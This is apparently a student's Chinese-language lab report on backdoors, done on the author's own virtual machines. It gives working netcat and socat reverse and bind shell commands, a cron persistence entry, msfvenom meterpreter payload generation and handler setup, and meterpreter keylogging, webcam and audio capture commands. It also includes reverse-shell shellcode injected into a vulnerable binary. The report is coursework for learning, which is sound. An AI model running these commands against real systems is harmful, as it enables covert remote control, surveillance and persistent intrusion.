一、实验目标
- 清楚后门概念
- 会用nc获取远程主机的Shell
- 会用meterpreter
- 会启动后门
二、实验内容
使用netcat获取主机操作Shell,cron启动
使用socat获取主机操作Shell, 任务计划启动
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
三、基础问题回答
例举你能想到的一个后门进入到你系统中的可能方式?
- 当捡到一个U盘时,会尝试着插入自己的电脑,当U盘插入后后门可能进入系统
- 当下载一个软件时,后门可能同时被安装在你的系统中了
- 当你在网页上点击一个按钮时,后门可能会被安装在你的电脑里
例举你知道的后门如何启动起来(win及linux)的方式?
- 在开机的时候自启动(Windows注册表)
- 被设置了定时启动(Linux的crontab)
- 作为服务启动
- 被其他主机控制,从而启动
Meterpreter有哪些给你映像深刻的功能?
- 除了本次实验中完成的获取被控主机的录音、录像、截图、键盘输入记录等功能,还有从被控主机上对相关的文件进行下载和上传,远程操控目标机上的程序运行等功能。
如何发现自己有系统有没有被安装后门?
- 检查注册表中是否有异常的自启动项
- 通过杀毒软件对系统进行检测
- 通过
nestat -na
查看是否有异常开放的端口 - 检查系统日志是否存在异常
四、基本工具熟悉
1.NC 或 netcat
- 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
(1)Win获得Linux Shell
- windows 打开监听
E:\nc\ncat>ncat.exe -l -p 5217
- Linux反弹连接
nc 192.168.43.98 5217 -e /bin/sh
- windows下获得一个linux shell,可运行任何指令,如
ls
、pwd
...
(2)Linux获得Win Shell
- Linux运行监听指令
nc -l -p 5217
- Windows反弹连接Linux
ncat.exe -e cmd.exe 192.168.189.136 5217
- Linux下看到Windows的命令提示
(3)nc传输数据
- Windows中通过
ncat.exe -l 5217 > file1.out
监听5217
端口,将收到的内容存储在file1.out
中 - kali反弹链接Windows的
5217
端口,nc 192.168.43.98 5217
- 通过
type file1.out
在Windows中查看接收到的内容 - 通过
cat file1.in
在kali中查看发送的内容
2.Socat
- 又称Netcat++,超级netcat工具,是nc的加强版
- 任何代理、转发等功能都可以用该工具实现
- 使用方法与nc类似
3.Meterpreter(使用msfvenom生成后门可执行文件)
(1)Linux使用MSF生成后门可执行文件,并移动到win
- Linux通过指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.98 LPORT=5217 -f exe > backdoor.exe
生成后门可执行文件,然后移动到Win
- 参数说明
-p
:使用的连接(playload)。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode-f
:生成文件的类型LHOST
:反弹回连的IPLPORT
:回连的端口>
: 输出到哪个文件
(2)Linux使用MSF打开监听进程
- 在Linux中输入
msfvenom
进入MSF - 輸入
use exploit/multi/handler
进入handler - 输入
set payload windows/meterpreter/reverse_tcp
设置连接(playload) - 输入
show options
查看设置是否正确 - 输入
set LHOST 192.168.189.136
设置ip地址(Linux地址) - 输入
set LPORT 5217
设置端口号 - 输入
show options
再次查看设置是否正确 - 输入
exploit
打开监听
- 说明:
- LHOST需要和上一步生成backdoor.exe的一致,本例中即192.168.189.136;
- LPORT也需要和上一步生成backdoor.exe的一致,即5217;
- payload也要一致,即windows/meterpreter/reverse_tcp。
(3)在Win平台双击运行backdoor.exe
- Linux平台的监听进程将获得Win主机的主动连接,并得到远程控制shell:
4.cron
- Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以
man cron
。
(1)增加一条定时任务
- 使用
crontab -e
指令-e
表示编辑,根据提示选择3
- 在最后一行添加17 * * * * /bin/netcat 192.168.43.98 5217 -e /bin/sh意思是,每个小时的第17分钟反向连接Windows主机的5217端口(从左至右参数一次为:分,小时,日,月,年)
- 保存、退出后配置即生效。可以通过"crontab -l"来查看,"-l"表示list。
每个小时到了43分,上面的那条指令就会执行。
在win主机192.168.43.98让nc侦听在5217端口,那到了17分就会有获得一个shell。
四、实验任务
任务一:使用netcat获取主机操作Shell,cron启动
1.思路
- 在windows里监听
- 在Linux里利用corn设置定时启动反弹指令
2.步骤
- 在Win主机监听5217端口
- 在Kali中,用
crontab -e
指令编辑一条定时任务
- 在每个小时的17分,kali自动执行定时任务,此时win就获得了Kali的shell,可以输入指令
任务二:使用socat获取主机操作Shell, 任务计划启动
1.思路
- 在Windows中创建socat连接任务
- 在Linux中利用socat连接被控主机(Windows),即可获取shell
2.步骤
- 在“计算机管理”中的“任务计划程序”点击“创建任务”
- 填写任务名称,并新建一个触发器
- 点击
操作
,在程序或脚本
中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5217 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5217
,同时把cmd.exe的stderr重定向到stdout上;
- 创建完成后可以看到任务的状态为准备就绪
- 此时,在Kali中输入指令
socat - tcp:192.168.43.98:5217
,即可发现已经成功获得了一个cmd shell
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.思路
- 在Linux中使用MSF生成后门可执行文件
- 将该文件通过nc传到被控主机(Windows)
- 在Linux上使用MSF打开监听
- 在Windows上运行后门程序
- Linux成功获取shell
2.步骤
- Linux通过指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.98 LPORT=5217 -f exe > backdoor.exe
生成后门可执行文件
- 通过
ncat.exe -lv 5217 > backdoor.exe
指令将被控制主机进入接受文件模式
- 在kali中执行
nc 192.168.43.98 5217 < backdoor.exe
,注意这里的IP为被控主机(win)的IP
- 传送接收文件成功
- 在kali上使用MSF打开监听(具体方法见第三部分)
- 在Windows下运行后门程序
backdoor.exe
,运行前应提前关闭杀毒软件的防护
- 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
1.思路
- 通过
MSF meterpreter
的一系列指令实现功能
2.步骤
- 使用
record_mi
指令截获一段音频
- 使用
webcam_snap
指令使用摄像头进行拍照
- 使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录
- 使用
screenshot
指令进行截屏
任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 参考了组长的博客,提供了两种方法,个人认为方法一好像不太符合要求,方法二更合理一点,但考虑到都能实现功能,就都做了
1.方法一思路
- 本机使用MSF生成与实验一的
pwn1
可执行文件绑定的后门可执行文件,并传输到被攻击的机器 - 本机打开MSF监听
- 被攻击主机运行后门可执行文件
- 获取shell成功
2.方法一步骤
- 使用MSF,输入命令
msfvenom -p linux/x86/meterpreter/reverse_tcp -x pwn1.bak LHOST=192.168.43. LPORT=5209 -f elf > pwn1_exp2 生成与
pwn1```绑定的后门程序 - (并使用nc等传输到受控主机)
- 使用MSF打开监听
- 在受控主机运行后门程序
- 控制成功,成功获得shell
3.方法二思路
- 从网站下载反弹连接shellcode
- 分析得到用于注入的shellcode文件
- 在本机打开MSF监听
- 在被控主机运行注入shellcode的pwn1文件
4.方法二步骤
- 在网站下载代码后,结合实验一的返回地址,得到用于注入的
input_shellcode
perl -e 'print "A" x 32;print"\xb0\xd1\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
- 使用MSF打开监听,(并将后门程序通过nc等方式传输到被控主机)
- 在另一终端(被控主机)运行注入shellcode后的pwn3
- 控制成功,成功获得shell
五、遇到的问题和解决
问题一:
- kali卡死后强制退出,之后就进不去了
解决一:
- 首先,按照百度上的提示,将权限改为管理员
然后,它换了一种报错方式
接着,打开任务管理器将与wm相关的进程全部杀死后,重启主机,就好了~
问题二:
- kali突然连不上网了
解决二:
- 通过
ifconfig -a
发现eth0停止工作了
- 通过修改
etc/network/interfaces
,添加后两行
auto eth0 iface eth0 inet dhcp
- 最后,在终端里输入
/etc/init.d/networking restart
重置网络,就OK了~
问题三:
- 使用MSF监听时,发现一直连不上
解决三:
- 发现是地址输的有问题,这里输入的应该是本机地址
六、实验心得体会
本次实验做的是后门,这次原理理解方面没有上次那么晦涩难懂,主要就是软件使用方面比较麻烦,特比较容易出问题,稍有不注意自己的思路就会乱掉。
这次实验我同样是参考老师的实验指导和组长的博客完成的,但与上次不同的是,这次出现的问题我都是自己先尽力自己解决,再去问同学,这样虽然做的慢了些,但对知识的理解更加深入,软件的使用更加熟练。
这次实验虽然使我对后门有了一定的理解,但是一些比较深的理论方面的东西还是理解的不是很到位,还是有一些问题的吧,之后我会继续努力的。
七、参考链接
来源:https://www.cnblogs.com/wyf20175217/p/12483897.html